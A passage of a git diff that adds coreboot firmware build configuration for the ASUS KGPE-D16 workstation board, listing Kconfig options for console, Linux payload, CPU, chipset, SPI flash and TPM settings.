CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES is not set +# CONFIG_ACPI_AMD_HARDWARE_SLEEP_VALUES is not set +# CONFIG_BOOT_DEVICE_NOT_SPI_FLASH is not set +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +# CONFIG_BOOT_DEVICE_SUPPORTS_WRITES is not set +# CONFIG_RTC is not set + +# +# Console +# +CONFIG_SQUELCH_EARLY_SMP=y +CONFIG_CONSOLE_SERIAL=y + +# +# I/O mapped, 8250-compatible +# + +# +# Serial port base address = 0x2f8 +# +# CONFIG_CONSOLE_SERIAL_921600 is not set +# CONFIG_CONSOLE_SERIAL_460800 is not set +# CONFIG_CONSOLE_SERIAL_230400 is not set +CONFIG_CONSOLE_SERIAL_115200=y +# CONFIG_CONSOLE_SERIAL_57600 is not set +# CONFIG_CONSOLE_SERIAL_38400 is not set +# CONFIG_CONSOLE_SERIAL_19200 is not set +# CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_BAUD=115200 +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +# CONFIG_CONSOLE_SPI_FLASH is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +# CONFIG_CMOS_POST is not set +CONFIG_POST_DEVICE_NONE=y +# CONFIG_POST_DEVICE_LPC is not set +# CONFIG_POST_DEVICE_PCI_PCIE is not set +CONFIG_POST_IO_PORT=0x80 +# CONFIG_NO_EARLY_BOOTBLOCK_POSTCODES is not set +CONFIG_HWBASE_DEBUG_CB=y +CONFIG_HAVE_ROMSTAGE_CONSOLE_SPINLOCK=y +CONFIG_HAVE_ROMSTAGE_NVRAM_CBFS_SPINLOCK=y +CONFIG_HAVE_ROMSTAGE_MICROCODE_CBFS_SPINLOCK=y +# CONFIG_NO_MONOTONIC_TIMER is not set +CONFIG_HAVE_MONOTONIC_TIMER=y +# CONFIG_TIMER_QUEUE is not set +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_PCI_IO_CFG_EXT=y +CONFIG_IOAPIC=y +# CONFIG_USE_WATCHDOG_ON_BOOT is not set +# CONFIG_GFXUMA is not set +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_HAVE_MP_TABLE=y +CONFIG_HAVE_PIRQ_TABLE=y +# CONFIG_COMMON_FADT is not set +# CONFIG_ACPI_NHLT is not set + +# +# System tables +# +CONFIG_GENERATE_MP_TABLE=y +CONFIG_GENERATE_PIRQ_TABLE=y +CONFIG_GENERATE_SMBIOS_TABLES=y +# CONFIG_SMBIOS_PROVIDED_BY_MOBO is not set + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BAYOU is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_YABITS is not set CONFIG_PAYLOAD_LINUX=y +# CONFIG_PAYLOAD_TIANOCORE is not set CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set + +# +# Debugging +# + +# +# CPU Debug Settings +# +CONFIG_HAVE_DEBUG_CAR=y +# CONFIG_DEBUG_CAR is not set + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +# CONFIG_DEBUG_PIRQ is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_TRACE is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_HAVE_EM100_SUPPORT is not set +CONFIG_ENABLE_APIC_EXT_ID=y +CONFIG_WARNINGS_ARE_ERRORS=y +# CONFIG_POWER_BUTTON_DEFAULT_ENABLE is not set +# CONFIG_POWER_BUTTON_DEFAULT_DISABLE is not set +# CONFIG_POWER_BUTTON_FORCE_ENABLE is not set +# CONFIG_POWER_BUTTON_FORCE_DISABLE is not set +# CONFIG_POWER_BUTTON_IS_OPTIONAL is not set +# CONFIG_REG_SCRIPT is not set +# CONFIG_NO_XIP_EARLY_STAGES is not set +# CONFIG_EARLY_CBMEM_LIST is not set +CONFIG_RELOCATABLE_MODULES=y +CONFIG_NO_STAGE_CACHE=y +CONFIG_BOOTBLOCK_CUSTOM=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-kgpe-d16_workstation.config b/config/coreboot-kgpe-d16_workstation.config index 426cfe806..33490fc80 100644 --- a/config/coreboot-kgpe-d16_workstation.config +++ b/config/coreboot-kgpe-d16_workstation.config @@ -1,17 +1,721 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set CONFIG_USE_OPTION_TABLE=y +# CONFIG_STATIC_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +# CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_NO_RELOCATABLE_RAMSTAGE=y +# CONFIG_RELOCATABLE_RAMSTAGE is not set +# CONFIG_UPDATE_IMAGE is not set +# CONFIG_BOOTSPLASH_IMAGE is not set CONFIG_MEASURED_BOOT=y + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_ADI is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_ADVANSUS is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set CONFIG_VENDOR_ASUS=y +# CONFIG_VENDOR_AVALUE is not set +# CONFIG_VENDOR_BAP is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_ELMEX is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ESD is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GIZMOSPHERE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IEI is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_JETWAY is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIPPERT is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SCALEWAY is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TYAN is not set +# CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_DIR="asus/kgpe-d16" +CONFIG_MAINBOARD_PART_NUMBER="KGPE-D16" +CONFIG_MAX_CPUS=32 +CONFIG_CBFS_SIZE=0x1000000 CONFIG_UART_FOR_CONSOLE=1 +CONFIG_MAINBOARD_VENDOR="ASUS" +CONFIG_APIC_ID_OFFSET=0x0 +CONFIG_HW_MEM_HOLE_SIZEK=0x100000 +CONFIG_MAX_PHYSICAL_CPUS=4 +CONFIG_HT_CHAIN_END_UNITID_BASE=0x20 +CONFIG_HT_CHAIN_UNITID_BASE=0x0 +CONFIG_IRQ_SLOT_COUNT=13 +CONFIG_VGA_BIOS_ID="1a03,2000" +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_DIMM_SPD_SIZE=256 +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x10000 +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="ASUS" +CONFIG_DEVICETREE="devicetree.cb" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +# CONFIG_BOARD_ASUS_AM1I_A is not set +# CONFIG_BOARD_ASUS_F2A85_M is not set +# CONFIG_BOARD_ASUS_F2A85_M_PRO is not set +# CONFIG_BOARD_ASUS_F2A85_M_LE is not set +# CONFIG_BOARD_ASUS_H61M_CS is not set +# CONFIG_BOARD_ASUS_KCMA_D8 is not set +# CONFIG_BOARD_ASUS_KFSN4_DRE is not set CONFIG_BOARD_ASUS_KGPE_D16=y +# CONFIG_BOARD_ASUS_M4A78_EM is not set +# CONFIG_BOARD_ASUS_M4A785M is not set +# CONFIG_BOARD_ASUS_M4A785TM is not set +# CONFIG_BOARD_ASUS_M5A88_V is not set +# CONFIG_BOARD_ASUS_MAXIMUS_IV_GENE_Z is not set +# CONFIG_BOARD_ASUS_P2B_D is not set +# CONFIG_BOARD_ASUS_P2B_DS is not set +# CONFIG_BOARD_ASUS_P2B_F is not set +# CONFIG_BOARD_ASUS_P2B_LS is not set +# CONFIG_BOARD_ASUS_P2B is not set +# CONFIG_BOARD_ASUS_P3B_F is not set +# CONFIG_BOARD_ASUS_P5GC_MX is not set +# CONFIG_BOARD_ASUS_P5QC is not set +# CONFIG_BOARD_ASUS_P5Q_PRO is not set +# CONFIG_BOARD_ASUS_P5QL_PRO is not set +# CONFIG_BOARD_ASUS_P5QL_EM is not set +# CONFIG_BOARD_ASUS_P5QPL_AM is not set +# CONFIG_BOARD_ASUS_P5G41T_M_LX is not set +# CONFIG_BOARD_ASUS_P8H61_M_LX is not set +# CONFIG_BOARD_ASUS_P8H61_M_PRO is not set +# CONFIG_BOARD_ASUS_P8Z77_M_PRO is not set +CONFIG_POST_IO=y +CONFIG_BOOTBLOCK_MAINBOARD_INIT="mainboard/asus/kgpe-d16/bootblock.c" +CONFIG_DCACHE_RAM_BASE=0xc2000 +CONFIG_DCACHE_RAM_SIZE=0x1e000 +CONFIG_SOUTHBRIDGE_AMD_SB700_SATA_PORT_COUNT_BITFIELD=0x3f +CONFIG_MAX_REBOOT_CNT=10 +CONFIG_USBDEBUG_HCD_INDEX=0 +CONFIG_OVERRIDE_DEVICETREE="" +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_FMDFILE="" +# CONFIG_VBOOT is not set +CONFIG_MMCONF_BASE_ADDRESS=0xc0000000 +CONFIG_POST_DEVICE=y +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_TPM_INIT=y +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_DIMM_MAX=4 +CONFIG_TPM_PIRQ=0x0 +CONFIG_TTYS0_LCS=3 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 CONFIG_USBDEBUG=y +CONFIG_IPMI_KCS_REGISTER_SPACING=1 +CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_PCIEXP_L1_SUB_STATE=y +# CONFIG_NO_POST is not set +CONFIG_SMBIOS_ENCLOSURE_TYPE=0x03 +CONFIG_HEAP_SIZE=0xc0000 +# CONFIG_CONSOLE_POST is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 CONFIG_LINUX_COMMAND_LINE="nohz=on console=tty0 earlyprintk=tty0 quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_2048=y +# CONFIG_COREBOOT_ROMSIZE_KB_64 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_128 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x1000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# CONFIG_SYSTEM_TYPE_LAPTOP is not set +# CONFIG_SYSTEM_TYPE_TABLET is not set +# CONFIG_SYSTEM_TYPE_DETACHABLE is not set +# CONFIG_SYSTEM_TYPE_CONVERTIBLE is not set +# CONFIG_CBFS_AUTOGEN_ATTRIBUTES is not set + +# +# Chipset +# + +# +# SoC +# +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_CPU_ADDR_BITS=48 +CONFIG_MMCONF_BUS_NUMBER=256 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +CONFIG_ACPI_CPU_STRING="\\_PR.CP%02d" +# CONFIG_SOC_CAVIUM_CN81XX is not set +CONFIG_ARCH_ARMV8_EXTENSION=0 +CONFIG_STACK_SIZE=0x1000 +# CONFIG_SOC_CAVIUM_COMMON is not set +# CONFIG_SOC_INTEL_GLK is not set +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_TTYS0_BASE=0x2f8 +CONFIG_HPET_MIN_TICKS=0x14 +CONFIG_UART_PCI_ADDR=0x0 +# CONFIG_SOC_MEDIATEK_MT8173 is not set +# CONFIG_SOC_MEDIATEK_MT8183 is not set +# CONFIG_SOC_NVIDIA_TEGRA124 is not set +# CONFIG_SOC_NVIDIA_TEGRA210 is not set +# CONFIG_SOC_QUALCOMM_COMMON is not set +# CONFIG_SOC_QC_IPQ40XX is not set +# CONFIG_SOC_QC_IPQ806X is not set +# CONFIG_SOC_QUALCOMM_QCS405 is not set +# CONFIG_SOC_QUALCOMM_SC7180 is not set +# CONFIG_SOC_QUALCOMM_SDM845 is not set +# CONFIG_SOC_ROCKCHIP_RK3288 is not set +# CONFIG_SOC_ROCKCHIP_RK3399 is not set +# CONFIG_CPU_SAMSUNG_EXYNOS5250 is not set +# CONFIG_CPU_SAMSUNG_EXYNOS5420 is not set +# CONFIG_SOC_UCB_RISCV is not set + +# +# CPU +# +CONFIG_CPU_SOCKET_TYPE=0x15 +# CONFIG_EXT_RT_TBL_SUPPORT is not set +CONFIG_CBB=0x0 +CONFIG_CDB=0x18 +CONFIG_XIP_ROM_SIZE=0x80000 +CONFIG_CPU_AMD_SOCKET_G34_NON_AGESA=y +CONFIG_CPU_AMD_MODEL_10XXX=y +CONFIG_USE_LARGE_DCACHE=y +CONFIG_NUM_IPI_STARTS=1 +CONFIG_DCACHE_BSP_TOP_STACK_SIZE=0x4000 +CONFIG_DCACHE_BSP_TOP_STACK_SLUSH=0x4000 +CONFIG_DCACHE_AP_STACK_SIZE=0x500 +CONFIG_SET_FIDVID=y +CONFIG_LIFT_BSP_APIC_ID=y +CONFIG_SET_FIDVID_DEBUG=y +CONFIG_SET_FIDVID_STORE_AP_APICID_AT_FIRST=y +# CONFIG_SET_FIDVID_CORE0_ONLY is not set +CONFIG_SET_FIDVID_CORE_RANGE=0 +CONFIG_UDELAY_LAPIC_FIXED_FSB=200 +# CONFIG_CPU_AMD_AGESA is not set +# CONFIG_CPU_AMD_PI is not set +# CONFIG_CPU_ARMLTD_CORTEX_A9 is not set +CONFIG_SSE2=y +# CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE is not set +# CONFIG_CPU_INTEL_TURBO_NOT_PACKAGE_SCOPED is not set +# CONFIG_CPU_TI_AM335X is not set +CONFIG_PARALLEL_CPU_INIT=y +# CONFIG_PARALLEL_MP is not set +CONFIG_UDELAY_LAPIC=y +# CONFIG_LAPIC_MONOTONIC_TIMER is not set +# CONFIG_UDELAY_TSC is not set +CONFIG_TSC_SYNC_LFENCE=y +# CONFIG_TSC_SYNC_MFENCE is not set +# CONFIG_NO_FIXED_XIP_ROM_SIZE is not set +CONFIG_LOGICAL_CPUS=y +# CONFIG_HAVE_SMI_HANDLER is not set +# CONFIG_NO_SMM is not set +# CONFIG_SMM_ASEG is not set +CONFIG_SMM_TSEG=y +CONFIG_SMM_MODULE_HEAP_SIZE=0x4000 +CONFIG_SMM_STUB_STACK_SIZE=0x400 +# CONFIG_SMM_LAPIC_REMAP_MITIGATION is not set +# CONFIG_SERIALIZED_SMM_INITIALIZATION is not set +CONFIG_X86_AMD_FIXED_MTRRS=y +# CONFIG_X86_AMD_INIT_SIPI is not set +# CONFIG_MIRROR_PAYLOAD_TO_RAM_BEFORE_LOADING is not set +# CONFIG_SOC_SETS_MSRS is not set +CONFIG_CAR_GLOBAL_MIGRATION=y +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +# CONFIG_USES_MICROCODE_HEADER_FILES is not set +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_NONE=y +CONFIG_CPU_MICROCODE_MULTIPLE_FILES=y + +# +# Northbridge +# +# CONFIG_NORTHBRIDGE_AMD_AGESA is not set +CONFIG_NORTHBRIDGE_AMD_AMDFAM10=y +CONFIG_AGP_APERTURE_SIZE=0x4000000 +CONFIG_BOOTBLOCK_NORTHBRIDGE_INIT="northbridge/amd/amdfam10/bootblock.c" +CONFIG_SB_HT_CHAIN_UNITID_OFFSET_ONLY=y +# CONFIG_HT_CHAIN_DISTRIBUTE is not set +# CONFIG_DIMM_DDR2 is not set +CONFIG_DIMM_DDR3=y +CONFIG_DIMM_REGISTERED=y +CONFIG_DIMM_VOLTAGE_SET_SUPPORT=y +# CONFIG_SVI_HIGH_FREQ is not set + +# +# HyperTransport setup +# +# CONFIG_LIMIT_HT_DOWN_WIDTH_8 is not set +CONFIG_LIMIT_HT_DOWN_WIDTH_16=y +# CONFIG_LIMIT_HT_UP_WIDTH_8 is not set +CONFIG_LIMIT_HT_UP_WIDTH_16=y +# CONFIG_NORTHBRIDGE_AMD_PI is not set + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_SPECIFIC_OPTIONS=y +CONFIG_BOOTBLOCK_SOUTHBRIDGE_INIT="southbridge/amd/sb700/bootblock.c" +# CONFIG_AMD_SB_CIMX is not set +# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB800 is not set +# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB900 is not set +CONFIG_SOUTHBRIDGE_AMD_SB700=y CONFIG_SOUTHBRIDGE_AMD_SB700_33MHZ_SPI=y +CONFIG_SOUTHBRIDGE_AMD_SUBTYPE_SP5100=y +# CONFIG_SOUTHBRIDGE_AMD_SB700_SKIP_ISA_DMA_INIT is not set +CONFIG_SOUTHBRIDGE_AMD_SB700_DISABLE_ISA_DMA=y +CONFIG_SOUTHBRIDGE_AMD_SR5650=y +CONFIG_EXT_CONF_SUPPORT=y +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ is not set +# CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG is not set +# CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE is not set + +# +# Super I/O +# +# CONFIG_SUPERIO_ASPEED_AST2400 is not set +# CONFIG_SUPERIO_ASPEED_COMMON_PRE_RAM is not set +# CONFIG_SUPERIO_ASPEED_HAS_UART_DELAY_WORKAROUND is not set +# CONFIG_SUPERIO_FINTEK_FAN_CONTROL is not set +CONFIG_SUPERIO_WINBOND_COMMON_PRE_RAM=y +CONFIG_SUPERIO_WINBOND_W83667HG_A=y + +# +# Embedded Controllers +# +# CONFIG_EC_GOOGLE_WILCO is not set +# CONFIG_CAVIUM_BDK is not set +# CONFIG_MAINBOARD_HAS_CHROMEOS is not set +# CONFIG_GOOGLE_SMBIOS_MAINBOARD_VERSION is not set +# CONFIG_UEFI_2_4_BINDING is not set +# CONFIG_UDK_2015_BINDING is not set +# CONFIG_UDK_2017_BINDING is not set +# CONFIG_USE_SIEMENS_HWILIB is not set +# CONFIG_ARM_LPAE is not set +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +# CONFIG_ARCH_POSTCAR_X86_32 is not set +CONFIG_ARCH_RAMSTAGE_X86_32=y +# CONFIG_ARCH_BOOTBLOCK_X86_64 is not set +# CONFIG_ARCH_VERSTAGE_X86_64 is not set +# CONFIG_ARCH_ROMSTAGE_X86_64 is not set +# CONFIG_ARCH_POSTCAR_X86_64 is not set +# CONFIG_ARCH_RAMSTAGE_X86_64 is not set +# CONFIG_USE_MARCH_586 is not set +# CONFIG_AP_IN_SIPI_WAIT is not set +# CONFIG_SIPI_VECTOR_IN_ROM is not set +CONFIG_RAMBASE=0xe00000 +CONFIG_RAMTOP=0x1000000 +# CONFIG_CBMEM_TOP_BACKUP is not set +CONFIG_PC80_SYSTEM=y +# CONFIG_BOOTBLOCK_DEBUG_SPINLOOP is not set +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_IOAPIC_INTERRUPTS_ON_FSB=y +# CONFIG_IOAPIC_INTERRUPTS_ON_APIC_SERIAL_BUS is not set +# CONFIG_HPET_ADDRESS_OVERRIDE is not set +CONFIG_HPET_ADDRESS=0xfed00000 +CONFIG_ID_SECTION_OFFSET=0x80 +# CONFIG_VERSTAGE_DEBUG_SPINLOOP is not set +# CONFIG_ROMSTAGE_DEBUG_SPINLOOP is not set +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_BOOTBLOCK_SOURCE="bootblock_simple.c" +CONFIG_ACPI_HAVE_PCAT_8259=y +# CONFIG_COLLECT_TIMESTAMPS_NO_TSC is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +# CONFIG_PAGING_IN_CACHE_AS_RAM is not set +# CONFIG_IDT_IN_EVERY_STAGE is not set +# CONFIG_PIRQ_ROUTE is not set + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y +CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y +# CONFIG_MAINBOARD_HAS_LIBGFXINIT is not set +CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y +# CONFIG_MULTIPLE_VGA_ADAPTERS is not set + +# +# Display +# +CONFIG_VGA_TEXT_FRAMEBUFFER=y +CONFIG_SMBUS_HAS_AUX_CHANNELS=y +CONFIG_PCI=y +# CONFIG_NO_MMCONF_SUPPORT is not set +CONFIG_MMCONF_SUPPORT=y +CONFIG_HYPERTRANSPORT_PLUGIN_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +# CONFIG_AZALIA_PLUGIN_SUPPORT is not set +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +# CONFIG_EARLY_PCI_BRIDGE is not set +# CONFIG_SOFTWARE_I2C is not set + +# +# Generic Drivers +# +# CONFIG_DRIVERS_AS3722_RTC is not set +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_MAINBOARD_HAS_CRB_TPM is not set +# CONFIG_GIC is not set +CONFIG_IPMI_KCS=y +# CONFIG_DRIVERS_LENOVO_WACOM is not set +# CONFIG_RT8168_GET_MAC_FROM_VPD is not set +# CONFIG_RT8168_SET_LED_MODE is not set +# CONFIG_SMMSTORE_IN_CBFS is not set +CONFIG_SPI_FLASH=y +# CONFIG_SPI_SDCARD is not set +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +# CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY is not set +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_SPI_FLASH_FAST_READ_DUAL_OUTPUT_3B is not set +# CONFIG_SPI_FLASH_HAS_VOLATILE_GROUP is not set +# CONFIG_HAVE_SPI_CONSOLE_SUPPORT is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_8250IO_SKIP_INIT is not set +# CONFIG_NO_UART_ON_SUPERIO is not set +# CONFIG_UART_OVERRIDE_INPUT_CLOCK_DIVIDER is not set +# CONFIG_UART_OVERRIDE_REFCLK is not set +# CONFIG_DRIVERS_UART_8250MEM is not set +# CONFIG_DRIVERS_UART_8250MEM_32 is not set +# CONFIG_HAVE_UART_SPECIAL is not set +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_DRIVERS_UART_PL011 is not set +# CONFIG_UART_USE_REFCLK_AS_INPUT_CLOCK is not set 